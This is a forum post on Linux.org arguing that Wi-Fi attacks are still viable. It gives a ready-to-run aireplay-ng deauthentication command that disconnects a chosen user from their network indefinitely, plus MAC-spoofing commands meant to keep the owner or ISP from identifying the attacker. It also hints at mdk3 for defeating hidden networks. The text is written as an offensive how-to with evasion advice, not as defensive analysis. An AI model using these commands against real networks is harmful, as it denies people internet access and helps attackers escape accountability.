Wi-Fi hacking is not really dead

CaffeineAddict

Well-Known Member
Joined
Jan 21, 2024
Messages
3,968
Reaction score
4,157
Credits
32,446
Wi-Fi hacking become very popular online upon discovery of vulnerability in WEP encryption some 25 years ago, the hype still lives and many users are still buying it by following tutorials and watching videos only to discover it doesn't work any more.

However WiFi hacking isn't really dead, an attacker can still do a lot of trouble to wifi owners simply by disconnecting them from their network denying them internet access.
An attacker can repeatedly do this for as long as they desire and there is no defense against it.

It's as simple as running a command that never stops:
Bash:
sudo aireplay-ng -0 0 -a 00:01:02:03:04:05 -c <station_mac> wlan0
Where -a is access point MAC and -c target user you want to deny internet, -c is optional but should be set for best results.

With this you're in essence DDOS-ing a person connected to wifi network for as long as you want, and ofc. you don't need to know wireless key.

But there is something you really need to know, as usual with hacking you need to care not to leave any traces to avoid detection.
In this case when you're denying internet you're also sending your MAC which can uniquely identify your adapter and can put you into trouble, wifi owner will likely contact ISP for problems and they will look into router's logs for attacker's MAC.
wi-fi owner or ISP may launch an investigation which can lead to you.

Therefore you should change the MAC of your adapter prior running aireplay-ng, example:

Bash:
# Change adapter MAC
sudo ip link set wlan0 down
# Generate random MAC
openssl rand -hex 6 | sed 's/\(..\)/\1:/g; s/:$//'
# Replace MAC below with output from above
sudo macchanger -m 00:11:22:33:44:55 wlan0
sudo ip link set wlan0 up

wi-fi owner in an attempt to defend will likely hide their network name therefore you should note down AP MAC prior first attack for future reference, since it uniquely identifies it.
When wi-fi owner hides their network you have tool at your disposal to cancel their defense, it's called mdk3, but I'll lave its usage for you to discover. ;)
 
Last edited:




Follow Linux.org

Members online


Top